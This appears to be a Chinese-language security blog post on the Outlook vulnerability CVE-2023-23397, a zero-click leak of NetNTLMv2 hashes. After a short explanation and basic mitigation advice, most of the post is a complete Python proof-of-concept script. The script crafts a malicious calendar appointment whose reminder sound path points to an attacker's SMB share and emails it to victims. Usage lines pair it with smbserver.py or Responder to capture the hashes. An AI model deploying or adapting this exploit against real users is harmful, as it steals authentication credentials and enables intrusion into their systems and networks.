CVE-2023-23397 Outlook 特权提升漏洞 已被黑客利用 影响全球数亿用户

CVE-2023-23397是一个非常严重的漏洞，因为它可以让攻击者远程获取受害者的身份验证凭据，而无需受害者做出任何操作。攻击者可以使用这些凭据来访问受害者的系统和网络，并进行进一步的攻击。

漏洞说明

更具体地说，这个漏洞涉及到Outlook缺乏对用户配置的控制。攻击者可以利用这个缺陷来强制受害者连接到其服务器，而受害者无需进行任何操作即可遭受攻击。这种零点击漏洞的危害非常大，因为受害者甚至不知道自己已经受到了攻击。

攻击者利用SMB请求根据受困用户的密码检索NetNTLMv2摘要。一旦邮件到达收件箱，请求就会被触发。这意味着攻击者可以通过向受害者发送带有恶意代码的电子邮件来利用这个漏洞。如果受害者在Outlook中打开了这个邮件，攻击者就可以获取其密码摘要。攻击者可以使用这个密码摘要来访问受害者的系统和网络，并进行进一步的攻击。

这个漏洞需要尽快得到修复，以确保Outlook用户的安全。在等待修复期间，建议用户暂时避免打开来自未知发送者的邮件，以降低受到攻击的风险。同时，用户也应该使用强密码，并定期更改密码，以最大限度地降低密码被攻击者破解的风险。

演示过程

使用方法

python CVE-2023-23397.py

usage: CVE-2023-23397.py [-h] -p PATH

CVE-2023-23397.py: error: the following arguments are required: -p/--path

python CVE-2023-23397.py --path '\\yourip\'

在第二个会话中（smbserver或responder根据需要）

smbserver.py -smb2support SHARE .

POC利用

import smtplib, datetime, argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
from email.utils import COMMASPACE, formatdate
from independentsoft.msg import Message

# Mail configuration : change it !
smtp_server = "mail.example.com"
smtp_port = 587

sender_email = "attacker@mail.example.com"
sender_password = "P@ssw0rd"

recipients_email = ["victim@mail.example.com"]

class Email:
    def __init__(self, smtp_server, port, username, password, recipient):
        self.smtp_server = smtp_server
        self.port = port
        self.username = username
        self.password = password
        self.recipient = recipient

    def send(self, subject, body, attachment_path):
        msg = MIMEMultipart()
        msg['From'] = self.username
        msg['To'] = COMMASPACE.join(self.recipient)
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = subject
        
        msg.attach(MIMEText(body))

        with open(attachment_path, 'rb') as f:
            part = MIMEApplication(f.read(), Name=attachment_path)
            part['Content-Disposition'] = f'attachment; filename="{attachment_path}"'
            msg.attach(part)

        try:
            server = smtplib.SMTP(self.smtp_server, self.port)
            server.starttls()
            server.login(self.username, self.password)
            server.sendmail(self.username, self.recipient, msg.as_string())
            server.quit()
            print("[+] Malicious appointment sent !")


        except Exception as e:
            print("[-] Error with SMTP server...", e)

parser = argparse.ArgumentParser(description='CVE-2023-23397 POC : send a malicious appointment to trigger NetNTLM authentication.')
parser.add_argument('-p', '--path', type=str, help='Local path to process', required=True)
args = parser.parse_args()

appointment = Message()
appointment.message_class = "IPM.Appointment"
appointment.subject = "CVE-2023-23397"
appointment.body = "New meeting now !"
appointment.location = "Paris"
appointment.appointment_start_time = datetime.datetime.now()
appointment.appointment_end_time = datetime.datetime.now()
appointment.reminder_override_default = True
appointment.reminder_sound_file = args.path
appointment.save("appointment.msg")

email = Email(smtp_server, smtp_port, sender_email, sender_password, recipients_email)

subject = "Hello There !"
body = "Important appointment !"
email.send(subject, body, "appointment.msg")